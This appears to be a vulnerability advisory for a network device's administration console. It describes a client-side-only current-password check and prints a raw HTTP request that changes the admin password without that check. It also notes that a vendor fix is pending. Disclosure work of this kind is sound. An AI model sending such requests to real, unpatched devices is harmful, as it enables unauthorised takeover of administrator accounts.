Synopsis
Insecure Password Change Utility
The change password utility in the administration console (https://192.168.100.1/changepwd_tab.html) requires a user to know the current admin password prior to changing the password. This verification is done client-side and can be bypassed simply by sending the password change request manually:
POST /changepwd_tab.html?YWRtaW46c2FwcGhpcmUx HTTP/1.1 Host: 192.168.100.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Origin: https://192.168.100.1 Connection: close Referer: https://192.168.100.1/changepwd_tab.html Cookie: HttpOnly: true, Secure: true; credential=w5ejXGiXewkzXiVX3nsQTJQElxWI7Mq Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Content-Length: 0
The base64 encoding at the end of the above URL (YWRtaW46c2FwcGhpcmUx) translates to admin:sapphire1.
This attack does require a valid user session to be in place.
Solution
The vendor has stated that a fix is in progress but is not yet available.Disclosure Timeline
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